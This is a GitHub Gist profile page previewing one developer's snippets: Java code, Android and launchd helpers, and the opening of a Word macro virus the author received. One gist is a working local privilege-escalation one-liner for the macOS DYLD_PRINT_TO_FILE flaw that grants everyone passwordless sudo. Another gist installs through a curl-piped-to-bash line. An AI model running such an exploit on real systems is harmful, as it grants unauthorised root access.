Skip to content

Instantly share code, notes, and snippets.

View szhu's full-sized avatar

Sean Zhu szhu

  • NYC / SF
  • 16:32 (UTC -04:00)
  • X @sfzhu
View GitHub Profile
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
@szhu
szhu / README.md
Created July 14, 2015 04:21
edX tasks

edX Tasks

@szhu
szhu / oops.bash
Created July 23, 2015 02:51
DYLD_PRINT_TO_FILE vulerability
# https://twitter.com/nst021/status/623953011325468673
# https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
import java.util.*;
class Animal { // implements Comparable<Animal> {
public String name;
public int age;
public Animal(String name, int age) {
this.name = name;
this.age = age;
}
@szhu
szhu / squirrel-update.sh
Created July 28, 2016 22:27
Force Squirrel/ShipIt update
/Applications/WebTorrent.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt io.webtorrent.webtorrent.ShipIt
#!/bin/bash
verbose() {
echo "$@"
"$@"
}
power-softrestart() {
verbose adb shell "su -c 'killall zygote'"
}
# Read more about gapps-config file here:
https://github.com/opengapps/opengapps/wiki/Advanced-Features-and-Options
# Prevent automatic removal
# +Browser # Stock Browser
# +CameraStock # Stock Camera
# +Email # Stock Email
# +Gallery # Stock Gallery
# +Launcher # Stock Launcher(s)
#!/bin/bash
# Set your desktop background to your screen saver.
# Install and activate with:
# curl -fsSL https://git.io/vMgM9 | bash
#
# The screen saver is visible only on desktops created before the screen saver
# was started. If you create a desktop and wish to see the screen saver on it
# immediately, just do:
# open -a ScreenSaverEngine
# to bring it in front of the default desktop background. You can also add
@szhu
szhu / 1. Unobfuscated 11717.doc.vb
Created January 14, 2017 21:46
Word macro virus in received email
Sub AutoOpen()
If (True) Then
If (True) Then
If (False) Then
Else
If (False) Then
Else
Select Case Empty
Case Empty
tyqegexl = False
@szhu
szhu / com.interestinglythere.sendtokindle.plist
Last active March 26, 2018 10:33
Small daemon to send documents to your Kindle and eject it every time it's connected
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.interestinglythere.sendtokindle</string>
<key>StartOnMount</key>
<true/>
<key>ProgramArguments</key>
<array>